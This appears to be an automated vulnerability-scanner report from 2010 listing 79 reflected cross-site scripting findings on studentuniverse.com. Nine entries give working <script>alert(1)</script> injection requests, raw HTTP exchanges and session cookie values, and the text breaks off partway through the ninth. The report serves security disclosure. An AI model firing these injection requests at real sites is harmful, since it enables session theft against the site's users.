Report generated by XSS.CX at Sun Nov 14 16:17:01 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/calendar.js [REST URL parameter 1]

1.2. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/calendar.js [REST URL parameter 2]

1.3. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/calendar.js [REST URL parameter 3]

1.4. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [REST URL parameter 3]

1.5. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [REST URL parameter 4]

1.6. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.js [REST URL parameter 3]

1.7. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.js [REST URL parameter 4]

1.8. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/facebox.js [REST URL parameter 3]

1.9. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/facebox.js [REST URL parameter 4]

1.10. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main.js [REST URL parameter 3]

1.11. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main.js [REST URL parameter 4]

1.12. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main2.js [REST URL parameter 3]

1.13. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main2.js [REST URL parameter 4]

1.14. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main3.js [REST URL parameter 3]

1.15. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main3.js [REST URL parameter 4]

1.16. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main4.js [REST URL parameter 3]

1.17. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main4.js [REST URL parameter 4]

1.18. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 1]

1.19. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 2]

1.20. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 3]

1.21. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 4]

1.22. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 1]

1.23. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 2]

1.24. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 3]

1.25. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 4]

1.26. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 1]

1.27. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 2]

1.28. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 3]

1.29. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 4]

1.30. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery-drag.min.js [REST URL parameter 1]

1.31. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery-drag.min.js [REST URL parameter 2]

1.32. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery-drag.min.js [REST URL parameter 3]

1.33. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery.pngFix.js [REST URL parameter 1]

1.34. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery.pngFix.js [REST URL parameter 2]

1.35. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery.pngFix.js [REST URL parameter 3]

1.36. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 1]

1.37. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 2]

1.38. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 3]

1.39. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 4]

1.40. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 1]

1.41. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 2]

1.42. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 3]

1.43. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 4]

1.44. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 1]

1.45. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 2]

1.46. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 3]

1.47. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 4]

1.48. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 1]

1.49. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 2]

1.50. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 3]

1.51. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 4]

1.52. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 1]

1.53. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 2]

1.54. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 3]

1.55. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 4]

1.56. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 1]

1.57. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 2]

1.58. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 3]

1.59. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 4]

1.60. http://www.studentuniverse.com/fly/searchUtil [REST URL parameter 1]

1.61. http://www.studentuniverse.com/fly/searchUtil [REST URL parameter 2]

1.62. http://www.studentuniverse.com/grouptravelrequest [REST URL parameter 1]

1.63. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [REST URL parameter 2]

1.64. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [field parameter]

1.65. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [field parameter]

1.66. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [name of an arbitrarily supplied request parameter]

1.67. http://www.studentuniverse.com/includes/airsearchWait.jsp [REST URL parameter 2]

1.68. http://www.studentuniverse.com/nospring/ajax/search [REST URL parameter 1]

1.69. http://www.studentuniverse.com/nospring/ajax/search [REST URL parameter 1]

1.70. http://www.studentuniverse.com/popups/flexibilityInfo.jsp [REST URL parameter 2]

1.71. http://www.studentuniverse.com/popups/flexibilityInfo.jsp [name of an arbitrarily supplied request parameter]

1.72. http://www.studentuniverse.com/popups/verifiedUser.jsp [REST URL parameter 2]

1.73. http://www.studentuniverse.com/popups/verifiedUser.jsp [name of an arbitrarily supplied request parameter]

1.74. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [User-Agent HTTP header]

1.75. http://www.studentuniverse.com/ [JSESSIONID cookie]

1.76. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [ClientID cookie]

1.77. http://www.studentuniverse.com/fly/searchUtil [JSESSIONID cookie]

1.78. http://www.studentuniverse.com/grouptravelrequest [JSESSIONID cookie]

1.79. http://www.studentuniverse.com/includes/airsearchWait.jsp [JSESSIONID cookie]



1. Cross-site scripting (reflected)
There are 79 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/calendar.js [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/calendar.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f5dea<script>alert(1)</script>09a6216a70f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20f5dea<script>alert(1)</script>09a6216a70f/javascript/calendar.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:55 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:55 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:55 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 175

The requested resource (/Build7.6.3.2_20f5dea<script>alert(1)</script>09a6216a70f/javascript/f5dea<script>alert(1)</script>09a6216a70f/javascript/calendar.js) is not available

1.2. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/calendar.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/calendar.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 225ab<script>alert(1)</script>7e6bb71d221 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript225ab<script>alert(1)</script>7e6bb71d221/calendar.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:55 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:55 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:55 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 106

The requested resource (/javascript225ab<script>alert(1)</script>7e6bb71d221/calendar.js) is not available

1.3. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/calendar.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/calendar.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b74b6<script>alert(1)</script>0b1c879676a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/calendar.jsb74b6<script>alert(1)</script>0b1c879676a HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:55 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:55 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 122

The requested resource (/Build7.6.3.2_20/javascript/calendar.jsb74b6<script>alert(1)</script>0b1c879676a) is not available

1.4. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload ef1c6<script>alert(1)</script>098f54260a4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamicef1c6<script>alert(1)</script>098f54260a4/dynamicInfo.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:36 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:35 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 117

The requested resource (/javascript/dynamicef1c6<script>alert(1)</script>098f54260a4/dynamicInfo.js) is not available

1.5. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload e954b<script>alert(1)</script>a5ff1d2009c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.jse954b<script>alert(1)</script>a5ff1d2009c HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:36 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:36 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 133

The requested resource (/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.jse954b<script>alert(1)</script>a5ff1d2009c) is not available

1.6. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a451a<script>alert(1)</script>c5549df35f2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamica451a<script>alert(1)</script>c5549df35f2/dynamicInfoExt.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:32 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:32 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:31 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 120

The requested resource (/javascript/dynamica451a<script>alert(1)</script>c5549df35f2/dynamicInfoExt.js) is not available

1.7. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload cd784<script>alert(1)</script>71d62806ff6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.jscd784<script>alert(1)</script>71d62806ff6 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:33 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:33 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 136

The requested resource (/Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.jscd784<script>alert(1)</script>71d62806ff6) is not available

1.8. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/facebox.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/facebox.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload e7712<script>alert(1)</script>f570cab4380 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamice7712<script>alert(1)</script>f570cab4380/facebox.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:52 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:52 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:51 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 113

The requested resource (/javascript/dynamice7712<script>alert(1)</script>f570cab4380/facebox.js) is not available

1.9. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/facebox.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/facebox.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload fae68<script>alert(1)</script>25dd993fd27 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic/facebox.jsfae68<script>alert(1)</script>25dd993fd27 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
